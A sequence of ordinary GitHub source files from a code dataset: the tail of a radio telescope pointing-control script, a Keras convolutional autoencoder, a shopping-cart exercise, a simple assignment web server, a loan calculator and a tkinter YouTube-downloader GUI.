numpy.zeros(shape=(NUMLOOPS, 8, 32768))\n zarray = numpy.zeros(shape=(2, 32768))\n\n delays = {}\n for b in HEXD:\n delays[b] = {}\n for d in HEXD:\n delays[b][d] = -16 # An offset of 16 is added to all delays, so this will become 0 (disabled)\n delays['K'] = {} # An extra beamformer delay dict is added for the Kaelus beamformer (2nd stage)\n for d in HEXD:\n delays['K'][d] = -128 # An offset of 128 is added to all delays, so this will become 0\n\n print(\"Setting raw MWA delays to 0\")\n stime = int(time.time() + 1)\n values = {253:{'X':(None, None, 0.0, 0.0, delays),\n 'Y':(None, None, 0.0, 0.0, delays)\n }\n }\n try:\n for clientid, proxy in bfproxies.items():\n proxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid=clientid, rclass='pointing',\n values=values)\n except AssertionError:\n print(\"Pointing error - aborting\")\n return\n\n print(\"Starting run of %d loops.\" % NUMLOOPS)\n for loop in range(NUMLOOPS):\n print(\" %10.4f: Starting loop %d\" % (time.time(), loop))\n for bit in range(6):\n for d in HEXD:\n delays['K'][d] = RAWDELAYS[bit] - 128 # An offset of 128 is added to all delays in kaeslave.py\n print(\" %10.4f: Setting Kaelus raw delays to %d\" % (time.time(), RAWDELAYS[bit]))\n stime = int(time.time() + 1)\n values = {253:{'X':(None, None, 0.0, 0.0, delays),\n 'Y':(None, None, 0.0, 0.0, delays)\n }\n }\n try:\n kproxy.notify(obsid=0, starttime=stime, stoptime=stime + 8, clientid='Kaelus', rclass='pointing', values=values)\n except AssertionError:\n print(\"Pointing error - aborting\")\n return\n\n time.sleep(8)\n\n if BIGDAS:\n data, dtime = getdata()\n if data is None:\n print(\"No data - aborting\")\n return\n if (time.time() - dtime) > 4:\n print(\"Stale data - aborting\")\n return\n if bit == 0:\n zarray = data\n gainarrayx[loop][bit] = data[0] / zarray[0]\n gainarrayy[loop][bit] = data[1] / zarray[1]\n\n if BIGDAS:\n gainx = numpy.median(gainarrayx, axis=0)\n gainy = numpy.median(gainarrayy, axis=0) # Median across all the loops, to get rid of RFI\n\n now = time.ctime()\n hdu = fits.PrimaryHDU()\n hdu.data = gainx\n hdu.header['TELESCOP'] = \"EDA Kaelus BF delay vs gain test\"\n hdu.header['DATE'] = now\n hdu.writeto('/tmp/eda_gain_stg2_x.fits', clobber=True)\n hdu.data = gainy\n hdu.writeto('/tmp/eda_gain_stg2_y.fits', clobber=True)\n\n\ndef dohyda():\n track_radec(ra=(9 + 18.0 / 60 + 6.0 / 3600) * 15,\n dec=(-12 - 5.0 / 60 - 44.0 / 3600),\n interval=options.track_interval,\n total_track_time=options.total_track_time)\n\n\ndef do3c444():\n track_radec(ra=(22.0 + 14.0 / 60 + 26.0 / 3600) * 15,\n dec=(-17.0 - 1.0 / 60 - 36.0 / 3600),\n interval=options.track_interval,\n total_track_time=options.total_track_time)\n\n\ndef docena():\n track_radec(ra=(13.0 + 25.0 / 60 + 28.0 / 3600) * 15,\n dec=(-43.0 - 1.0 / 60 - 9.0 / 3600),\n interval=options.track_interval,\n total_track_time=options.total_track_time)\n\n\ndef dopowertest(az=0.0, el=90.0, ra=None, dec=None):\n \"\"\"Find the ratio between power at the given coordinates and power at the zenith\n\n NOTE - this will only work when run on 'bigdas', where live spectrum data is written to /tmp every second.\n \"\"\"\n if not BIGDAS:\n print(\"Needs to run on 'bigdas' host, exiting.\")\n return\n gainarrayx = numpy.zeros(shape=(NUMLOOPS, 32768))\n gainarrayy = numpy.zeros(shape=(NUMLOOPS, 32768))\n zarray = numpy.zeros(shape=(2, 32768))\n print(\"Starting run of %d loops.\" % NUMLOOPS)\n for loop in range(NUMLOOPS):\n print(\" %10.4f: Starting loop %d\" % (time.time(), loop))\n\n point_azel(az=0, el=90) # Point to zenith\n time.sleep(8)\n\n data, dtime = getdata()\n if data is None:\n print(\"No data - aborting\")\n return\n if (time.time() - dtime) > 4:\n print(\"Stale data - aborting\")\n return\n\n zarray = data\n\n dopoint(az=az, el=el, ra=ra, dec=dec)\n time.sleep(8)\n\n data, dtime = getdata()\n if data is None:\n print(\"No data - aborting\")\n return\n if (time.time() - dtime) > 4:\n print(\"Stale data - aborting\")\n return\n\n gainarrayx[loop] = data[0] / zarray[0]\n gainarrayy[loop] = data[1] / zarray[1]\n\n print(\"Pointing back at zenith.\")\n point_azel(az=0, el=90)\n gainx = numpy.median(gainarrayx, axis=0)\n gainy = numpy.median(gainarrayy, axis=0) # Median across all the loops, to get rid of RFI\n\n outx = []\n outy = []\n for chan in range(0, 32768, 3277):\n outx.append(float(gainx[chan:chan + 3277].sum() / 3277.0))\n outy.append(float(gainy[chan:chan + 3277].sum() / 3277.0))\n print(\"Freq:\\t\" + '\\t'.join(['%5.1f' % ((chan + 1638.0) / 100.0) for chan in range(0, 32768, 3277)]))\n print(\"Xpol:\\t\" + '\\t'.join(['%6.5g' % v for v in outx]))\n print(\"Ypol:\\t\" + '\\t'.join(['%6.5g' % v for v in outy]))\n\n\ndef set_onlybfs(onlybfs):\n print(\"Setting onlybfs global to %s\" % onlybfs)\n kproxy.onlybfs(bfids=onlybfs)\n for proxy in bfproxies.values():\n proxy.onlybfs(bfids=onlybfs)\n\n\ndef init():\n \"\"\"\n Create Pyro4 proxy objects for the PointingSlave objects on eda1com, eda2com, and the kaelus controller.\n \"\"\"\n global kproxy, bfproxies\n kproxy = Pyro4.Proxy(KURL)\n bfproxies = {}\n for clientid, url in BURLS.items():\n bfproxies[clientid] = Pyro4.Proxy(url)\n\n\nif __name__ == '__main__':\n init()\n usage = \"Usage: %prog where are either an az/el or an ra/dec\\n\"\n usage += \" With no arguments, the status and last pointing data is returned from each client.\"\n parser = optparse.OptionParser(usage=usage)\n parser.add_option('--image', dest='image', action='store_true', default=False,\n help='Take drifscan image from 20d north to 20d south. East west ' +\n 'span is given by the loops argument. All other arguments ignored.')\n parser.add_option('--cube', dest='cube', action='store_true', default=False,\n help='Like \"--image\", but instead of splitting into three bands, save ' +\n 'a FITS cube, with a full 327.68MHz of bandwidth. The output ' +\n 'file will be very large...')\n parser.add_option('--az', '-a', dest='az', help=\"Azimuth in degrees\", default=None)\n parser.add_option('--el', '-e', dest='el', help=\"Elevation in degrees\", default=None)\n parser.add_option('--ra', '-r', dest='ra', help=\"RA in degrees\", default=None)\n parser.add_option('--dec', '-d', dest='dec', help=\"Dec in degrees\", default=None)\n parser.add_option('--cx', dest='cx', help=\"E/W offset for delay center in m, relative to geometric centre of EDA\",\n default=0.0)\n parser.add_option('--cy', dest='cy', help=\"N/S offset for delay center in m, relative to geometric centre of EDA\",\n default=0.0)\n parser.add_option('--track_interval', '-i', dest='track_interval', type=int,\n help=\"Tracking interval [default %default seconds]\", default=120)\n parser.add_option('--track_time', '-t', '--total_track_time', dest='total_track_time', type=int,\n help=\"Total tracking time in seconds default should be infinity [default one year = %default seconds]\",\n default=31536000)\n parser.add_option('--onlybfs', '-o',\n dest='onlybfs',\n help=\"One or more hex digits (0-F) in a single string, meaning turn off \" +\n \"all but those MWA beamformer, or ALL to turn them all on. The EDA stays \" +\n \"in this state until changed with another 'edacmd --onlybfs=' call\",\n default=None)\n parser.add_option('--loops', '-l', dest='loops', help=\"number of loops to run\", type=int, default=NUMLOOPS)\n parser.add_option('--zsweep', '-z', dest='zsweep',\n help=\"Run zenith sweep forever\",\n default=False,\n action='store_true')\n parser.add_option('--ptest', '-p', dest='ptest',\n help=\"Find power ratio between this position and the zenith\",\n default=False,\n action='store_true')\n parser.add_option('--follow', '-f', dest='start_tracking',\n help=\"Start following the MWA pointings\",\n default=False,\n action='store_true')\n parser.add_option('--nofollow', '-n', dest='stop_tracking',\n help=\"Stop following the MWA pointings\",\n default=False,\n action='store_true')\n\n (options, args) = parser.parse_args()\n NUMLOOPS = int(options.loops)\n az = el = ra = dec = None\n if options.az and options.el:\n az = float(options.az)\n el = float(options.el)\n elif options.ra and options.dec:\n ra = float(options.ra)\n dec = float(options.dec)\n\n if options.image or options.cube:\n print(\"Collecting drift scan image for %d seconds, all other arguments ignored:\" % (NUMLOOPS * 240))\n if options.cube:\n print(\"Saving image as FITS cube in /tmp/eda_cube.fits\")\n else:\n print(\"Saving three fits images as /tmp/eda_image_[R,G,B].fits\")\n tstate = is_tracking()\n if tstate:\n stop_tracking()\n time.sleep(5)\n doimage(cube=options.cube)\n if tstate:\n start_tracking()\n sys.exit()\n\n if options.onlybfs:\n if options.onlybfs.upper() == 'ALL':\n onlybfs = None\n else:\n onlybfs = []\n for bfid in options.onlybfs:\n if bfid.upper() in HEXD:\n onlybfs.append(bfid.upper())\n else:\n print(\"Invalid BF id passed to --onebf, must be 'ALL' or a string of one or more hex digits\")\n sys.exit()\n set_onlybfs(onlybfs)\n\n if options.cx or options.cy:\n try:\n cpos = (float(options.cx), float(options.cy), 0.0)\n except ValueError:\n cpos = None\n print(\"Invalid centre position cx=%s, cy=%s given\" % (options.cx, options.cy))\n sys.exit()\n if cpos is not None:\n print(\"Setting centre position global to %s\" % str(cpos))\n kproxy.set_cpos(cpos=cpos)\n for proxy in bfproxies.values():\n proxy.set_cpos(cpos=cpos)\n\n if options.start_tracking:\n start_tracking()\n\n if options.stop_tracking:\n stop_tracking()\n\n if options.ptest and ((az is not None) or (ra is not None)): # Asked for a power test, and we have coordinates\n dopowertest(az=az, el=el, ra=ra, dec=dec)\n elif options.zsweep:\n zenith_sweep()\n elif ra is not None:\n track_radec(ra=ra, dec=dec, interval=options.track_interval, total_track_time=options.total_track_time)\n elif az is not None:\n point_azel(az=az, el=el)\n\n print_status()\n","repo_name":"MWATelescope/eda1","sub_path":"edacmd.py","file_name":"edacmd.py","file_ext":"py","file_size_in_byte":39395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72242700373","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 19 16:04:56 2019\n\n@author: leoska\n\"\"\"\n\nfrom tensorflow.keras.layers import Input, LeakyReLU, Conv1D, MaxPooling1D, UpSampling1D\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.callbacks import TensorBoard\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.utils import plot_model\nfrom subplots import plot_history, network_evaluation\nimport os\n\nclass ConvAutoEncoder:\n def __init__(self, signal_len = 481, channels = 1):\n self.signal_len = signal_len\n self.channels = channels\n self.optimizer = None\n self.encoder = None\n self.decoder = None\n self.model = None\n self.history = None\n self.score = None\n \n def _encoder(self):\n feature_maps = [16, 1]\n kernel_size = [3]\n input_window = Input(shape=(self.signal_len, 1))\n \n # Первый слой свертки\n x = Conv1D(feature_maps[0], kernel_size[0], padding = \"same\")(input_window)\n x = LeakyReLU(alpha=0.2)(x) # 481 dim\n \n # Слой подвыборки\n x = MaxPooling1D(pool_size = (2), padding = \"same\")(x) # 241 dim\n \n # Второй слой свертки\n x = Conv1D(feature_maps[1], kernel_size, padding = \"same\")(x)\n x = LeakyReLU(alpha=0.2)(x)\n \n # Второй слой подвыборки\n # \"encoded\" is the encoded representation of the input\n encoded = MaxPooling1D(pool_size = (2), padding = \"same\")(x) # 121 dim\n \n # this model maps an input to its encoded representation\n encoder = Model(inputs = input_window, outputs = encoded)\n \n encoder.summary()\n #encoder.compile(optimizer = 'adam', loss = 'mse', metrics = [\"accuracy\"])\n \n self.encoder = encoder\n return encoder\n \n def _decoder(self):\n feature_maps = [16, 1]\n kernel_size = [3, 2]\n encoded_window = Input(shape=(120, 1))\n \n x = Conv1D(feature_maps[1], kernel_size[0], padding = \"same\")(encoded_window)\n x = LeakyReLU(alpha=0.2)(x)\n \n x = UpSampling1D(2)(x)\n \n x = Conv1D(feature_maps[0], kernel_size[1], padding = \"same\")(x)\n x = LeakyReLU(alpha=0.2)(x)\n \n x = UpSampling1D(2)(x)\n \n x = Conv1D(feature_maps[1], kernel_size[0], padding = \"same\")(x)\n \n # \"decoded\" is the lossy reconstruction of the input\n decoded = LeakyReLU(alpha=0.2)(x)\n \n # create the decoder model\n decoder = Model(inputs = encoded_window, outputs = decoded)\n \n decoder.summary()\n \n #decoder.compile(optimizer = 'adam', loss = 'mse', metrics = [\"accuracy\"])\n \n self.decoder = decoder\n return decoder\n \n def autoencoder(self):\n # Encoder model\n ec = self._encoder()\n \n print(\"error here\")\n \n # Decoder model\n dc = self._decoder()\n \n print(\"error here2\")\n \n # this model maps an input to its reconstruction\n input_signal = Input(shape=(self.signal_len, 1))\n ec_out = ec(input_signal)\n dc_out = dc(ec_out)\n model = Model(inputs = input_signal, outputs = dc_out)\n \n model.summary()\n \n # Get optimizer\n optimizer = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\n \n # mse - mean_squared_error\n # categorical_crossentropy\n model.compile(optimizer = optimizer, loss = 'mse', metrics = [\"accuracy\"])\n \n self.optimizer = optimizer\n self.model = model\n return model\n \n def fit(self, train_data, validation_data, batch_size = 64, epochs = 90, shuffle = True, tb_logs = 'tb_logs'):\n tensorboard = TensorBoard(log_dir = tb_logs, histogram_freq = 1, write_graph = True, write_images = True)\n \n history = self.model.fit(train_data, train_data, \n #steps_per_epoch=10,\n epochs=epochs,\n batch_size=batch_size,\n shuffle=shuffle,\n validation_data = validation_data,\n #callbacks=[tensorboard],\n verbose=1)\n \n self.history = history\n return history\n \n def evaluate(self, test_data):\n score = self.model.evaluate(x = test_data, y = test_data, verbose = 0)\n self.score = score\n return score\n \n def plot_history(self):\n plot_history(self.history)\n \n # Работает, для работы нужно правильно установленная библиотека graphviz\n def plot_model(self):\n plot_model(self.encoder, to_file='conv_encoder.png', show_shapes=True)\n plot_model(self.decoder, to_file='conv_decoder.png', show_shapes=True)\n plot_model(self.model, to_file='ae_conv.png', show_shapes=True)\n\n def network_evaluation(self, epochs = 90, batch_size = 64):\n network_evaluation(self.history, epochs, batch_size)\n \n def savemodel(self):\n if not os.path.exists(r'./weights'):\n os.mkdir(r'./weights')\n \n self.encoder.save(r'./weights/conv_encoder.h5')\n self.decoder.save(r'./weights/conv_decoder.h5')\n self.model.save(r'./weights/ae_conv.h5')","repo_name":"leoska/emg_autoencoder","sub_path":"convautoencoder.py","file_name":"convautoencoder.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"38569412750","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nproducts = [['Iphone8', 6888], ['MacPro', 14800], ['小米6', 2499], ['Coffee', 31], ['Book', 80], ['Nike Shoes', 799]]\nshooping_cart = []\nexit_flag = False\nwhile not exit_flag:\n# while True:\n print('***********商品列表********')\n for index,p in enumerate(products):\n print(\"%s: %s %s\" %(index,p[0],p[1]))\n\n choice = input(\"输入想买商品:\")\n\n if choice.isdigit():\n choice = int(choice)\n if choice >=0 and choice < len(products):\n shooping_cart.append(products[choice])\n print(\"adod product %s into shopping cart \" %(products[choice]))\n else:\n print(\"商品不存在\")\n elif choice == \"q\":\n if len(shooping_cart) >0:\n print(\"**********************已购买一下商品 ******************\")\n for index,p in enumerate(shooping_cart):\n print(\"%s: %s %s\" %(index,p[0],p[1]))\n # break\n exit_flag = True","repo_name":"liujicun/Projects","sub_path":"1/1_2/源码编写/购物车.py","file_name":"购物车.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8941771512","text":"# coding: utf-8 \nimport socketserver\nimport os\nimport mimetypes\nimport datetime\n\n# Copyright 2023 Abram Hindle, Eddie Antonio Santos, Chris Wen\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n# Furthermore it is derived from the Python documentation examples thus\n# some of the code is Copyright © 2001-2013 Python Software\n# Foundation; All Rights Reserved\n#\n# http://docs.python.org/2/library/socketserver.html\n#\n# run: python freetests.py\n\n# try: curl -v -X GET http://127.0.0.1:8080/\n\n\n######################################################################################################################################################\n# References: - https://stackoverflow.com/questions/7585435/best-way-to-convert-string-to-bytes-in-python-3\n# - https://www.geeksforgeeks.org/how-to-read-from-a-file-in-python/\n######################################################################################################################################################\n\n\nclass MyWebServer(socketserver.BaseRequestHandler):\n\n ######################################################################################################################################################\n # Function Purpose: Calls the functions needed to handle the request.\n # Returns: Returns nothing indicating the completion of a request.\n ######################################################################################################################################################\n def handle(self):\n self.data = self.request.recv(1024).strip()\n print (\"Got a request of: %s\\n\" % self.data)\n self.datalist = self.data.decode('utf-8').split(' ')\n # Check to see if the method is accepted, if it isn't respond with 405 Method Not Allowed and end the request\n if not self.checkMethod():\n return\n # Get the complete path for the request\n filePath = self.createPath()\n # Check to see if the path exists, if it doesn't respond with 404 Not Found and end the request\n if not self.checkPath(filePath):\n return\n # Check to see if the file exists, respond with the corresponding status codes and end the request\n else:\n self.findFile(filePath)\n return\n \n\n ######################################################################################################################################################\n # Function Purpose: Takes the input status code and formulates the response for status code.\n # Returns: Returns the status code response.\n ######################################################################################################################################################\n def formResponse(self, statusCode, Location = None):\n statusMap = {\n 200: 'HTTP/1.1 200 OK',\n 301: 'HTTP/1.1 301 Moved Permanently',\n 404: 'HTTP/1.1 404 Not Found',\n 405: 'HTTP/1.1 405 Method Not Allowed',\n }\n date = datetime.datetime.now()\n response = f'{statusMap[statusCode]}\\r\\n' + f'Date: {date}\\r\\n'\n if Location:\n response += f'Location: {Location}\\r\\n'\n else:\n response += 'Connection: close\\r\\n'\n return response\n\n\n ######################################################################################################################################################\n # Function Purpose: Checks to see if the method in the request is allowed (only GET should be allowed).\n # Returns: Returns False if the method is not allowed, returns True if the method is allowed.\n ######################################################################################################################################################\n def checkMethod(self):\n errorMethods = ['POST', 'PUT', 'DELETE']\n if self.datalist[0] in errorMethods:\n self.request.sendall(bytearray(self.formResponse(405), 'utf-8'))\n return False\n else:\n return True\n \n\n ######################################################################################################################################################\n # Function Purpose: Checks to see if the method in the request is allowed (only GET should be allowed).\n # Returns: Returns False if the method is not allowed, returns True if the method is allowed.\n ######################################################################################################################################################\n def createPath(self):\n filePath = './www' + self.datalist[1]\n return filePath\n \n\n ######################################################################################################################################################\n # Function Purpose: Checks to see if the path requested by the GET method exists.\n # Returns: Returns True if the path does exist, returns False if the path isn't found.\n ######################################################################################################################################################\n def checkPath(self, filePath):\n if os.path.realpath(filePath).startswith(os.path.realpath('./www')):\n return True\n else:\n self.request.sendall(bytearray(self.formResponse(404), 'utf-8'))\n return False\n\n\n ######################################################################################################################################################\n # Function Purpose: Checks to see if the file requested by the GET method exists. Assigns the index.html file by default if no file is specified.\n # Returns: Returns nothing, indicating the completion of the request.\n ######################################################################################################################################################\n def findFile(self, filePath):\n # If the path references a directory and doesn't end with '/'\n if os.path.isdir(filePath) and filePath[-1] != '/':\n filePath += '/'\n self.request.sendall(bytearray(self.formResponse(301, Location=self.datalist[1]+'/'), 'utf-8'))\n\n # If the path exists give the 200 OK status code, otherwise give the 404 Not Found error code and end the request\n if os.path.exists(filePath):\n dirCheck = os.path.isdir(filePath) and filePath[-1] == '/'\n if dirCheck:\n filePath += 'index.html'\n fileType = mimetypes.guess_type(filePath)[0]\n if dirCheck:\n fileType += '; charset=utf-8'\n print(f'Opening file: {filePath}.\\n')\n openFile = open(filePath, 'r') \n content = openFile.read()\n openFile.close()\n length = len(content.encode('utf-8'))\n\n self.request.sendall(bytearray(self.formResponse(200), 'utf-8'))\n self.request.sendall(bytearray(f'Content-Type: {fileType}\\r\\n', 'utf-8'))\n self.request.sendall(bytearray(f'Content-Length: {length}\\r\\n\\r\\n', 'utf-8'))\n self.request.sendall(bytearray(content, 'utf-8'))\n else:\n self.request.sendall(bytearray(self.formResponse(404), 'utf-8'))\n return\n \n\nif __name__ == \"__main__\":\n HOST, PORT = \"localhost\", 8080\n\n socketserver.TCPServer.allow_reuse_address = True\n # Create the server, binding to localhost on port 8080\n server = socketserver.TCPServer((HOST, PORT), MyWebServer)\n\n # Activate the server; this will keep running until you\n # interrupt the program with Ctrl-C\n server.serve_forever()\n","repo_name":"ChrisWen980/CMPUT404-assignment-webserver","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"25197185962","text":"import math\nimport argparse\n\nN_MONTHS = 12\nHUNDRED = 100\n\ndef find_loan_principal(annuity_payment, n_periods, interest):\n tmp1 = interest * ((1 + interest) ** n_periods)\n tmp2 = (1 + interest) ** n_periods - 1\n principal = (annuity_payment / (tmp1 / tmp2))\n return math.floor(principal)\n\ndef find_monthly_payment(principal, n_periods, interest):\n tmp1 = interest * ((1 + interest) ** n_periods)\n tmp2 = (1 + interest) ** n_periods - 1\n annuity_payment = principal * (tmp1 / tmp2)\n return math.ceil(annuity_payment)\n\ndef find_n_payments(principal, annuity_payment, interest):\n tmp = annuity_payment / (annuity_payment - interest * principal)\n n_periods = math.log(tmp, 1 + interest)\n return math.ceil(n_periods)\n\ndef find_overpayment(principal, annuity_payment, n_periods):\n return annuity_payment * n_periods - principal\n\ndef print_n_payments(n_periods):\n y = n_periods // N_MONTHS\n m = n_periods % N_MONTHS\n output = f'It will take '\n if y > 0:\n output += f'{y} years '\n if m > 0:\n output += f'and '\n if m > 0:\n output += f'{m} months '\n output += ' to repay this loan!'\n print(output)\n\ndef find_diff_payments(principal, n_periods, interest):\n diff_payments = [principal / n_periods] * n_periods\n for m in range(0, n_periods):\n tmp = principal - (principal * m) / n_periods\n diff_payments[m] += interest * tmp\n return [math.ceil(d) for d in diff_payments]\n\ndef print_diff_payments(diff_payments):\n n_periods = len(diff_payments)\n for m in range(n_periods):\n print(f\"Month {m + 1}: payment is {diff_payments[m]}\")\n\ndef message_error():\n print(\"Incorrect parameters\")\n\ndef ask():\n principal, annuity_payment, n_periods, interest = None, None, None, None\n print('What do you want to calculate?')\n print('type \"n\" for number of monthly payments,')\n print('type \"a\" for annuity monthly payment amount,')\n print('type \"p\" for the loan_principal:')\n ans = input().strip()\n if ans != 'p':\n print('Enter the loan principal:')\n principal = int(input())\n if ans != 'a':\n print('Enter the annuity payment:')\n annuity_payment = float(input())\n if ans != 'n':\n print('Enter the number of periods:')\n n_periods = int(input())\n print('Enter the loan interest:')\n interest = float(input()) / (N_MONTHS * HUNDRED)\n if ans == 'p':\n principal = find_loan_principal(annuity_payment, n_periods, interest)\n print(f'Your loan principal = {principal}!')\n elif ans == 'a':\n annuity_payment = find_monthly_payment(principal, n_periods, interest)\n print(f'Your monthly payment = {annuity_payment}!')\n elif ans == 'n':\n n_periods = find_n_payments(principal, annuity_payment, interest)\n print_n_payments(n_periods)\n\n\n# ask()\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--type\") # choices=[\"annuity\", \"diff\"])\nparser.add_argument(\"--principal\")\nparser.add_argument(\"--interest\")\nparser.add_argument(\"--periods\")\nparser.add_argument(\"--payment\")\n\nargs = parser.parse_args()\n\nif not args.type or not (args.type in [\"annuity\", \"diff\"]):\n message_error()\n\nif args.type == \"diff\":\n if args.payment:\n message_error()\n elif not (args.principal and args.periods and args.interest):\n message_error()\n else:\n principal = int(args.principal)\n n_periods = int(args.periods)\n interest = float(args.interest) / (N_MONTHS * HUNDRED)\n diff_payments = find_diff_payments(principal, n_periods, interest)\n print_diff_payments(diff_payments)\n overpayment = sum(diff_payments) - principal\n print(f\"Overpayment = {overpayment}\")\nelif args.type == \"annuity\":\n list_args = [args.principal, args.interest, args.periods, args.payment]\n n_nones = 0\n for arg in list_args:\n if arg is None:\n n_nones += 1\n if n_nones != 1 or not args.interest:\n message_error()\n elif not args.principal:\n interest = float(args.interest) / (N_MONTHS * HUNDRED)\n n_periods = int(args.periods)\n annuity_payment = float(args.payment)\n principal = find_loan_principal(annuity_payment, n_periods, interest)\n print(f'Your loan principal = {principal}!')\n print(f\"Overpayment ={find_overpayment(principal, annuity_payment, n_periods)}\")\n elif not args.periods:\n principal = int(args.principal)\n interest = float(args.interest) / (N_MONTHS * HUNDRED)\n annuity_payment = float(args.payment)\n n_periods = find_n_payments(principal, annuity_payment, interest)\n print_n_payments(n_periods)\n print(f\"Overpayment ={find_overpayment(principal, annuity_payment, n_periods)}\")\n elif not args.payment:\n principal = int(args.principal)\n interest = float(args.interest) / (N_MONTHS * HUNDRED)\n n_periods = int(args.periods)\n annuity_payment = find_monthly_payment(principal, n_periods, interest)\n print(f'Your monthly payment = {annuity_payment}!')\n print(f\"Overpayment ={find_overpayment(principal, annuity_payment, n_periods)}\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ikonnikovaev/lc_py","sub_path":"Loan Calculator/task/creditcalc/creditcalc.py","file_name":"creditcalc.py","file_ext":"py","file_size_in_byte":5159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11597288403","text":"#1.建立主视窗(设定主视窗大小、缩放和主视窗标题)。\n#2.将元件(如:图片、文字方块、按钮、下载清单等)放入主视窗中,实作事件处理函式,例如:点击按钮时会触发什么。\n#3.启动主视窗。\n\n#from tkinter import * #import 之后星号表示所有名称,这使我们在程式中可以直接使用 tkinter 中的名称,不需要连带写出 tkinter\nimport tkinter as tk #上一段等开发经验熟练之后再尝试\nfrom PIL import Image\nfrom PIL import ImageTk\n#from tkmacosx import Button #为了可以在tkinter内更改Button的bg,所以需要套入这个模组,但要注意最好设置button宽度,不然button宽度不会自己配合文字大小,但是这组目前仍无法使用,因为mac系统预设不能更改button bg\n\n\n#建立主视窗\nwindow = tk.Tk() #创建视窗\nwindow.title(\"下载youtube影片\") #视窗标题\nwindow.geometry('1024x768') #视窗大小\nwindow.configure() #视窗背景颜色,可用颜色名or sRGB值 语法为background=\"yellow\" #config用来配置tkinter中元件和字体的样式、大小、颜色等\nwindow.iconbitmap('YouTube.ico') #设定主视窗的icon,图片需跟程式码所在的资料夹放在一起\n\n#显示youtube图片 元件\nimg=Image.open(\"youtube.png\") # image打开图片档 *.png,*.jpg\nnew_width = 300 #调整图片档的宽\nnew_height = 300 #调整图片档的高\nimg = img.resize((new_width, new_height), Image.ANTIALIAS) #ANTIALIAS:平滑滤波。对所有可以影响输出像素的输入像素进行高质量的重采样滤波,以计算输出像素值。这个滤波器只用于改变尺寸和缩略图时适用。 注意:ANTIALIAS滤波器是下采样(例如,将一个大的图像转换为小图)时唯一正确的滤波器。BILIEAR和BICUBIC滤波器使用固定的输入模板,用于固定比例的几何变换和上采样是最好的。\nimg=ImageTk.PhotoImage(img) #建立一个Tkinter相容的照片影象(photo image),它可在Tkinter期望一个影象物件的任何地方使用。\nimLabel=tk.Label(window,image=img) #若是用from tkinter import * 就可以不用写出tk\nimLabel.pack() #pack() 函数就是一个版面管理员, 它会由上而下摆放元件,也可以呼叫 grid() 函数使用网格版面来管理元件 :Label.grid(column=0,row=0)\n\n\n#网址输入区域&下载清单 元件\n#设定\"提示文字\"要显示的区域\ninput_frm=tk.Frame(window,width=640,height=50) #建立一个宽640,高60的Frame(框架),将这个Frame放在window这个容器内\ninput_frm.pack() #摆放Frame\n\n#设定提示文字内容\nlb=tk.Label(input_frm,text=\"请输入欲下载的youtube网址\",fg=\"black\") #放在input_frm这个容器内,并输入提示文字内容 #Label控制元件:Label 控制元件用以显示文字和图片. Label 通常被用来展示资讯, 而非与使用者互动. \nlb.place(rely=0.2,relx=0.5,anchor=\"center\") #设定提示文字出现的位置 #tkinter有三种排版方式 pack()、grid()、place()。place()通常是用来制作客制化的版面管理员之用,详细可以看http://yhhuang1966.blogspot.com/2018/10/python-gui-tkinter_12.html\n\n#设定输入框\ninput_url=tk.StringVar() #取得输入的网址 宣告字串的变数 StringVar()=跟踪变量的值的变化,以保证值的变更随时可以显示在界面上\ninput_et=tk.Entry(input_frm,textvariable=input_url,width=48) #Entry表示文字字段,放在input_frm这个容器内 #textvariable 文字框的值,接收StringVar的值 \ninput_et.place(rely=0.75,relx=0.5,anchor=\"center\") #设定输入框出现的位置 #anchor用来指定元件在父容器中的 9 个锚定方位 详细可以看http://yhhuang1966.blogspot.com/2018/10/python-gui-tkinter_12.html\n\n#设定按钮\ndef btn_clink(): #撰写按钮的函示\n print(\"后面会讲解写法\")\nbtn =tk.Button(input_frm,text=\"Download\",command=btn_clink,fg=\"red\") #fg表示前景颜色,command指定按钮要呼叫的函式\nbtn.place(rely=0.75,relx=0.9,anchor=\"center\") #设定输入框出现的位置 rely跟relx是相对位置,调整主视窗大小时,会因为被设定了相对位置,会自己跟着主视窗变动\n\n#下载清单区域\ndl_frm=tk.Frame(window,width=640,height=350) #建立一个宽640,高280的Frame(框架),将这个Frame放在window这个容器内\ndl_frm.pack()\n\n#设定下载区域的提示文字内容\nlb=tk.Label(dl_frm,text=\"下载纪录\",fg=\"black\")\nlb.place(rely=0.1,relx=0.5,anchor=\"center\")\n\n#设定显示纪录\nlistbox=tk.Listbox(dl_frm,width=65,height=15) #Listbox下拉式选单\nlistbox.place(rely=0.52,relx=0.5,anchor=\"center\")\n\n#设定卷轴\nscrollbar=tk.Scrollbar(listbox)\nscrollbar.place(rely=0.5, relx=0.98, anchor='center', relheight=0.95)\n\n#连结纪录跟卷轴\nlistbox.config(yscrollcommand=scrollbar.set)#yscrollcommand设置垂直方向滚动条,xscrollcommand设置水平方向滚动条 #滑动的初始位置设置:set()方法 